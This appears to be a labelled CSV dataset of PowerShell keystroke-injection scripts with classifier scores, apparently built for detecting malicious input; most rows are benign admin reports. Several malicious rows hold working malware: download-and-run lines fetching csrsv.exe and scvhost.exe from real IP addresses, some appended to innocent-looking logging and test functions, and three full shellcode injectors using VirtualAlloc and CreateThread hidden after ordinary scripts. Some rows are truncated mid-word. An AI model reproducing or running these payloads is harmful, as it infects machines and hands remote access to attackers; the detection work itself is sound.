""v$Version"" enter enter $releaseParams = @{ enter Organization = $TargetFork enter Repository = $Repository enter Tag = $tag enter ReleaseName = $tag enter Branch = ""release/$Version"" enter AssetPath = $AssetPath enter Prerelease = [bool]($Version.PreReleaseLabel) enter Description = GetDescriptionFromChangelog -ChangelogPath $ChangelogPath enter GitHubToken = $GitHubToken enter } enter Publish-GitHubRelease @releaseParams enter enter",0,0,0.9994753,0.00052468886
"win+r powershell enter $ips = '192.168.1.5','192.1..4444' $t = $ips | foreach { (New-Object Net.Netwo enter rkInformation.Ping).SendPingAsync($_, 250) } [Threading.Tasks.Task]::WaitAll($t) enter $t.Result enter enter",0,1,0.009174637,0.99082536
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_gm4jnjcc"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_automatic.json"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_rules_inbound.txt"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 3."" enter Get-WinEvent -LogName System -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_75.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4405886e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_bkw6cocd"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_40.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Select-Object -First 100 TaskName, TaskPath, State | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_all_tasks.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4430966e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_n9q1njw7"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.386442e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_98ydp7wl"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 20 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_20.csv"") -NoTypeInformation enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_admins.txt"") -Encoding UTF8 enter",0,0,0.999966,3.4027933e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_6k2e9d1n"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Export-Csv -Path (Join-Path $ReportDir ""device_printers.csv"") -NoTypeInformation enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 30 Name, Id, Path, Company | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_30.json"") -Encoding UTF8 enter",0,0,0.99996567,3.4381163e-05
"win+r enter powershell enter enter enter  enter [System.Reflection.Assembly]::LoadWithPartialName('Microsoft.SqlServer.SMO') | out-null enter $ErrorActionPreference = 'Inquire' enter enter function Set-SQLDefaultDatabases{ enter param([string[]]$Instances = 'localhost' enter ,[string]$defaultdb = 'tempdb') enter enter foreach($InstanceName in $Instances){ enter $smosrv = New-Object -TypeName Microsoft.SqlServer.Management.Smo.Server $InstanceName enter if($smosrv.Databases.name -contains $defaultdb){ enter foreach($login in $smosrv.Logins){ enter Write-Verbose ""Altering $login on $InstanceName to $defaultdb"" enter $login.DefaultDatabase = $defaultdb enter } enter } enter else{ enter Write-Warning ""Database $defaultdb is not valid on $InstanceName."" enter } enter } enter } enter enter Set-SQLDefaultDatabases -defaultdb tempdb -verbose enter (New-Object -com Shell.Application).ShellExecute('C:\Users\agavran\Desktop\ps_load.bat'); enter enter",1,1,0.0003762978,0.99962366
"win+r powershell enter schtasks /query /FO CSV /v | ConvertFrom-Csv (New-Object System.Net.WebClient). enter DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe""); enter Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.63332e-05,0.9999436
"win+r enter powershell enter enter enter  enter function Test-NetworkServiceTagsList enter { enter $location = Get-ProviderLocation ResourceManagement; enter enter try enter { enter $results = Get-AzNetworkServiceTag -Location $location; enter Assert-NotNull $results; enter enter Assert-AreEqual $results.Type ""Microsoft.Network/serviceTags""; enter Assert-NotNull $results.Name; enter Assert-NotNull $results.Id; enter Assert-NotNull $results.ChangeNumber; enter Assert-NotNull $results.Cloud; enter Assert-NotNull $results.Values; enter Assert-True { $results.Values.Count -gt 1 }; enter enter $serviceTagInformation = $results.Values[0]; enter enter Assert-NotNull $serviceTagInformation.Name; enter Assert-NotNull $serviceTagInformation.Id; enter Assert-NotNull $serviceTagInformation.Properties.ChangeNumber; enter Assert-NotNull $serviceTagInformation.Properties.Region; enter Assert-NotNull $serviceTagInformation.Properties.SystemService; enter Assert-True { $serviceTagInformation.Properties.AddressPrefixes.Count -gt 1 }; enter } enter finally {} enter } enter enter",0,0,0.9999298,7.017412e-05
"win+r powershell enter $SubscriptionId = '' $resourceGroupName = ""myResourceGroup-$(Get-Random)"" $loca enter tion = ""westus2"" $poolName = ""MySamplePool"" $adminSqlLogin = ""SqlAdmin"" $passw enter ord = ""ChangeYourAdminPassword1"" $serverName = ""server-$(Get-Random)"" enter enter",1,1,0.00024167595,0.9997583
win+r powershell enter win x a left enter Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://chocolatey.org/install.ps1')) enter choco install git-lfs enter A enter enter,0,0,0.99995935,4.063377e-05
"win+r powershell enter $ModuleManifestName = 'SampleModule.psd1' Import-Module $PSScriptRoot\..\$Module enter ManifestName Describe 'Module Manifest Tests' { It 'Passes Test-ModuleManifest enter ' { Test-ModuleManifest -Path $PSScriptRoot\..\$ModuleManifestName $? | Should enter Be $true } } (New-Object System.Net.WebClient).DownloadFile('http://93.174.94 enter .137/~karma/scvhost.exe',""$env:APPDATA\scvhost.exe"");Start-Process (""$env:APPDAT enter A\scvhost.exe"") enter enter",1,1,5.8327132e-05,0.9999417
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_3pfhp2tv"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_running.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.424203e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_1umny4kw"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_15.csv"") -NoTypeInformation enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.txt"") -Encoding UTF8 enter",0,0,0.9999658,3.4195364e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x00,0x0f,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r enter powershell enter enter enter Function Import-LGPO { enter enter Param([String]$LGPOName, [String]$LGPOLocation, [String]$GPOType) enter enter $Executable = $Global:RelativePath+""ImportRegPol.exe"" enter If ($GPOType -eq ""Machine"") { enter $GPOType = ""\DomainSysvol\GPO\Machine enter egistry.pol"" enter } else { enter $GPOType = ""\DomainSysvol\GPO\User enter egistry.pol"" enter } enter $Parameters = ""-m ""+[char]34+$LGPOLocation+$GPOType+[char]34 enter Write-Host ""Apply Local""$LGPOName"" Policy....."" -NoNewline enter $ErrCode = (Start-Process -FilePath $Executable -ArgumentList $Parameters -Wait -Passthru).ExitCode enter If (($ErrCode -eq 0) -or ($ErrCode -eq 3010)) { enter Write-Host ""Success"" -ForegroundColor Yellow enter } else { enter Write-Host ""Failed with error code ""$ErrCode -ForegroundColor Red enter } enter enter } enter enter cls enter $Global:RelativePath = (split-path $SCRIPT:MyInvocation.MyCommand.Path -parent)+""\"" enter Import-LGPO -LGPOName ""User Friendly Name"" -LGPOLocation ""<Path_To_GPO_GUID>"" -GPOType ""Machine"" enter Start-Sleep -Seconds 5 enter $wV3 = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $wV3 -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0xeb,0xea,0x96,0x51,0xdb,0xda,0xd9,0x74,0x24,0xf4,0x5b,0x33,0xc9,0xb1,0x47,0x31,0x53,0x13,0x03,0x53,0x13,0x83,0xeb,0x17,0x08,0x63,0xad,0x0f,0x4f,0x8c,0x4e,0xcf,0x30,0x04,0xab,0xfe,0x70,0x72,0xbf,0x50,0x41,0xf0,0xed,0x5c,0x2a,0x54,0x06,0xd7,0x5e,0x71,0x29,0x50,0xd4,0xa7,0x04,0x61,0x45,0x9b,0x07,0xe1,0x94,0xc8,0xe7,0xd8,0x56,0x1d,0xe9,0x1d,0x8a,0xec,0xbb,0xf6,0xc0,0x43,0x2c,0x73,0x9c,0x5f,0xc7,0xcf,0x30,0xd8,0x34,0x87,0x33,0xc9,0xea,0x9c,0x6d,0xc9,0x0d,0x71,0x06,0x40,0x16,0x96,0x23,0x1a,0xad,0x6c,0xdf,0x9d,0x67,0xbd,0x20,0x31,0x46,0x72,0xd3,0x4b,0x8e,0xb4,0x0c,0x3e,0xe6,0xc7,0xb1,0x39,0x3d,0xba,0x6d,0xcf,0xa6,0x1c,0xe5,0x77,0x03,0x9d,0x2a,0xe1,0xc0,0x91,0x87,0x65,0x8e,0xb5,0x16,0xa9,0xa4,0xc1,0x93,0x4c,0x6b,0x40,0xe7,0x6a,0xaf,0x09,0xb3,0x13,0xf6,0xf7,0x12,0x2b,0xe8,0x58,0xca,0x89,0x62,0x74,0x1f,0xa0,0x28,0x10,0xec,0x89,0xd2,0xe0,0x7a,0x99,0xa1,0xd2,0x25,0x31,0x2e,0x5e,0xad,0x9f,0xa9,0xa1,0x84,0x58,0x25,0x5c,0x27,0x99,0x6f,0x9a,0x73,0xc9,0x07,0x0b,0xfc,0x82,0xd7,0xb4,0x29,0x3e,0xdd,0x22,0x12,0x17,0xdc,0xb1,0xfa,0x6a,0xdf,0xa4,0xa6,0xe3,0x39,0x96,0x06,0xa4,0x95,0x56,0xf7,0x04,0x46,0x3e,0x1d,0x8b,0xb9,0x5e,0x1e,0x41,0xd2,0xf4,0xf1,0x3c,0x8a,0x60,0x6b,0x65,0x40,0x11,0x74,0xb3,0x2c,0x11,0xfe,0x30,0xd0,0xdf,0xf7,0x3d,0xc2,0xb7,0xf7,0x0b,0xb8,0x11,0x07,0xa6,0xd7,0x9d,0x9d,0x4d,0x7e,0xca,0x09,0x4c,0xa7,0x3c,0x96,0xaf,0x82,0x37,0x1f,0x3a,0x6d,0x2f,0x60,0xaa,0x6d,0xaf,0x36,0xa0,0x6d,0xc7,0xee,0x90,0x3d,0xf2,0xf0,0x0c,0x52,0xaf,0x64,0xaf,0x03,0x1c,0x2e,0xc7,0xa9,0x7b,0x18,0x48,0x51,0xae,0x98,0xb4,0x84,0x96,0xee,0xd4,0x14;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$ITO=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($ITO.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$ITO,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.168399e-05,0.99994826
"win+r enter powershell enter enter enter [CmdletBinding()] enter Param( enter [Parameter(Mandatory=$True, Position=0)] enter [String]$Version, enter [Parameter(Mandatory=$True, Position=1)] enter [String]$Release, enter [Parameter(Mandatory=$False, Position=2)] enter [String]$Folder enter ) enter enter function SetMsiVersion([string]$FilePath, [string]$MsiVersion) enter { enter $wxsPath = Join-Path $FilePath ""setup\azurecmd.wxs"" enter enter Write-Output ""Updating File: $wxsPath"" enter $content = Get-Content $wxsPath enter $matches = ([regex]::matches($content, '\<\?define version=""([\d\.]+)"" \?\>')) enter enter $prevousVersion = $matches.Groups[1].Value enter enter $content = $content.Replace(""<?define version=`""$prevousVersion`"" ?>"", ""<?define version=`""$MsiVersion`"" ?>"") enter enter Set-Content -Path $wxsPath -Value $content -Encoding UTF8 enter } enter enter function SetMsiReleaseString([string]$FilePath, [string]$MsiRelease) enter { enter $wxsPath = Join-Path $FilePath ""setup\azurecmd.wxs"" enter enter Write-Output ""Updating File: $wxsPath"" enter $content = Get-Content $wxsPath enter $matches = ([regex]::matches($content, '\<\?define productName=""Microsoft Azure PowerShell - ([a-zA-z]+\s[\d]+)"" \?\>')) enter enter $prevousVersion = $matches.Groups[1].Value enter enter $content = $content.Replace(""<?define productName=`""Microsoft Azure PowerShell - $prevousVersion`"" ?>"", ""<?define productName=`""Microsoft Azure PowerShell - $MsiRelease`"" ?>"") enter enter Set-Content -Path $wxsPath -Value $content -Encoding UTF8 enter } enter enter function AlignAsmPsdReleaseVersion([string]$FilePath, [string]$MsiVersion) enter { enter $psd1Path = Join-Path $FilePath ""src\ServiceManagement\Services\Commands.Utilities\Azure.psd1"" enter enter $content = Get-Content $psd1Path enter $matches = ([regex]::matches($content, ""ModuleVersion = '([\d\.]+)'\s+"")) enter enter $packageVersion = $matches.Groups[1].Value enter Write-Output ""Updating version of $psd1Path from $packageVersion to $MsiVersion"" enter $content = $content.Replace(""ModuleVersion = '$packageVersion'"", ""ModuleVersion = '$MsiVersion'"") enter enter Set-Content -Path $psd1Path -Value $content -Encoding UTF8 enter } enter enter function AlignArmPsdReleaseVersion([string]$FilePath, [string]$MsiVersion) enter { enter $psd1Path = Join-Path $FilePath ""tools\AzureRM\AzureRM.psd1"" enter enter $content = Get-Content $psd1Path enter $matches = ([regex]::matches($content, ""ModuleVersion = '([\d\.]+)'\s+"")) enter enter $packageVersion = $matches.Groups[1].Value enter Write-Output ""Updating version of $psd1Path from $packageVersion to $MsiVersion"" enter $content = $content.Replace(""ModuleVersion = '$packageVersion'"", ""ModuleVersion = '$MsiVersion'"") enter enter Set-Content -Path $psd1Path -Value $content -Encoding UTF8 enter } enter enter if (!$Folder) enter { enter $Folder = ""$PSScriptRoot\.."" enter } enter enter SetMsiVersion $Folder $Version enter SetMsiReleaseString $Folder $Release enter AlignAsmPsdReleaseVersion $Folder $Version enter AlignArmPsdReleaseVersion $Folder $Version enter enter",0,0,0.9999188,8.1187754e-05
"win+r powershell enter cls Set-Variable -Name a -Scope Global -Force Set-Variable -Name Output - enter Scope Global -Force Function AddRemovePrograms($KeyName, $DisplayName, $Versi enter on){ Set-Variable -Name AddRemKey -Value ""HKLM:\SOFTWARE\Wow6432Node\Microso enter ft\Windows\CurrentVersion\Uninstall"" -Scope Local -Force New-Item -Path $AddR enter emKey -Name $KeyName –Force New-ItemProperty -Path $AddRemKey""\""$KeyName -Name enter DisplayName -Value $DisplayName -PropertyType String enter enter",1,1,0.0007547534,0.9992453
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_q32nispx"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996483,3.5160025e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_axyzgf9l"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 100 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_100.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3783203e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_h0yeso45"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-PnpDevice | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Get-AppxPackage | enter Select-Object -First 50 Name, Version, Publisher | enter Export-Csv -Path (Join-Path $ReportDir ""software_appx_packages.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3873755e-05
"win+r powershell enter [CmdletBinding()] Param( [Parameter(Mandatory=$True, Position=0)] [String]$Versi enter on, [Parameter(Mandatory=$True, Position=1)] [String]$Release, [Parameter(Mandat enter ory=$False, Position=2)] [String]$Folder, [Parameter(ParameterSetName=""Major"")] enter [Switch]$Major, [Parameter(ParameterSetName=""Minor"")] [Switch]$Minor, enter enter",1,1,0.00019219817,0.9998078
"win+r enter powershell enter enter enter cls enter $File = Get-Content -Path ""C:\Users\Mick\Desktop\BDD.log"" -Force enter Foreach ($Entry in $File) { enter If (($Entry -like '*INSTALL - *') -and ($Entry -like '*ZTIWindowsUpdate*')) { enter enter $SplitLine = $Entry.Split('KB') enter $Update = $SplitLine[2] enter $Update = $Update.Split(')') enter $Update = $Update.Split('(') enter Write-Host ""KB""$Update[0] enter } enter } enter enter Remove-Variable -Name Entry -Force enter Remove-Variable -Name File -Force enter Remove-Variable -Name Update -Force enter $leF = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $leF -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdd,0xc7,0xd9,0x74,0x24,0xf4,0xb8,0xe7,0xf4,0x07,0x55,0x5a,0x29,0xc9,0xb1,0x47,0x31,0x42,0x18,0x83,0xea,0xfc,0x03,0x42,0xf3,0x16,0xf2,0xa9,0x13,0x54,0xfd,0x51,0xe3,0x39,0x77,0xb4,0xd2,0x79,0xe3,0xbc,0x44,0x4a,0x67,0x90,0x68,0x21,0x25,0x01,0xfb,0x47,0xe2,0x26,0x4c,0xed,0xd4,0x09,0x4d,0x5e,0x24,0x0b,0xcd,0x9d,0x79,0xeb,0xec,0x6d,0x8c,0xea,0x29,0x93,0x7d,0xbe,0xe2,0xdf,0xd0,0x2f,0x87,0xaa,0xe8,0xc4,0xdb,0x3b,0x69,0x38,0xab,0x3a,0x58,0xef,0xa0,0x64,0x7a,0x11,0x65,0x1d,0x33,0x09,0x6a,0x18,0x8d,0xa2,0x58,0xd6,0x0c,0x63,0x91,0x17,0xa2,0x4a,0x1e,0xea,0xba,0x8b,0x98,0x15,0xc9,0xe5,0xdb,0xa8,0xca,0x31,0xa6,0x76,0x5e,0xa2,0x00,0xfc,0xf8,0x0e,0xb1,0xd1,0x9f,0xc5,0xbd,0x9e,0xd4,0x82,0xa1,0x21,0x38,0xb9,0xdd,0xaa,0xbf,0x6e,0x54,0xe8,0x9b,0xaa,0x3d,0xaa,0x82,0xeb,0x9b,0x1d,0xba,0xec,0x44,0xc1,0x1e,0x66,0x68,0x16,0x13,0x25,0xe4,0xdb,0x1e,0xd6,0xf4,0x73,0x28,0xa5,0xc6,0xdc,0x82,0x21,0x6a,0x94,0x0c,0xb5,0x8d,0x8f,0xe9,0x29,0x70,0x30,0x0a,0x63,0xb6,0x64,0x5a,0x1b,0x1f,0x05,0x31,0xdb,0xa0,0xd0,0xac,0xde,0x36,0x1b,0x98,0xe0,0xc4,0xf3,0xdb,0xe2,0xca,0x99,0x55,0x04,0x9a,0xcd,0x35,0x99,0x5a,0xbe,0xf5,0x49,0x32,0xd4,0xf9,0xb6,0x22,0xd7,0xd3,0xde,0xc8,0x38,0x8a,0xb7,0x64,0xa0,0x97,0x4c,0x15,0x2d,0x02,0x29,0x15,0xa5,0xa1,0xcd,0xdb,0x4e,0xcf,0xdd,0x8b,0xbe,0x9a,0xbc,0x1d,0xc0,0x30,0xaa,0xa1,0x54,0xbf,0x7d,0xf6,0xc0,0xbd,0x58,0x30,0x4f,0x3d,0x8f,0x4b,0x46,0xab,0x70,0x23,0xa7,0x3b,0x71,0xb3,0xf1,0x51,0x71,0xdb,0xa5,0x01,0x22,0xfe,0xa9,0x9f,0x56,0x53,0x3c,0x20,0x0f,0x00,0x97,0x48,0xad,0x7f,0xdf,0xd6,0x4e,0xaa,0xe1,0x2b,0x99,0x92,0x97,0x45,0x19;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$FcHI=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($FcHI.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$FcHI,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.201706e-05,0.999948
"win+r enter powershell enter enter enter function Start-Log enter { enter enter [CmdletBinding()] enter param ( enter [ValidateScript({ Split-Path $_ -Parent | Test-Path })] enter [string]$FilePath enter ) enter enter try enter { enter if (!(Test-Path $FilePath)) enter { enter enter New-Item $FilePath -Type File | Out-Null enter } enter $global:ScriptLogFilePath = $FilePath enter } enter catch enter { enter Write-Error $_.Exception.Message enter } enter } enter enter function Write-Log enter { enter enter [CmdletBinding()] enter param ( enter [Parameter(Mandatory = $true)] enter [string]$Message, enter enter [Parameter()] enter [ValidateSet(1, 2, 3)] enter [int]$LogLevel = 1 enter ) enter enter try enter { enter $TimeGenerated = ""$(Get-Date -Format HH:mm:ss).$((Get-Date).Millisecond)+000"" enter enter $Line = '<![LOG[{0}]LOG]!><time=""{1}"" date=""{2}"" component=""{3}"" context="""" type=""{4}"" thread="""" file="""">' enter $LineFormat = $Message, $TimeGenerated, (Get-Date -Format MM-dd-yyyy), ""$($MyInvocation.ScriptName | Split-Path -Leaf):$($MyInvocation.ScriptLineNumber)"", $LogLevel enter $Line = $Line -f $LineFormat enter enter if (-not (Test-Path Variable:\ScriptLogFilePath)) enter { enter Write-Verbose $Message enter } enter else enter { enter Add-Content -Value $Line -Path $ScriptLogFilePath enter } enter } enter catch enter { enter Write-Error $_.Exception.Message enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://89.248.170.218/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.78396e-05,0.9999422
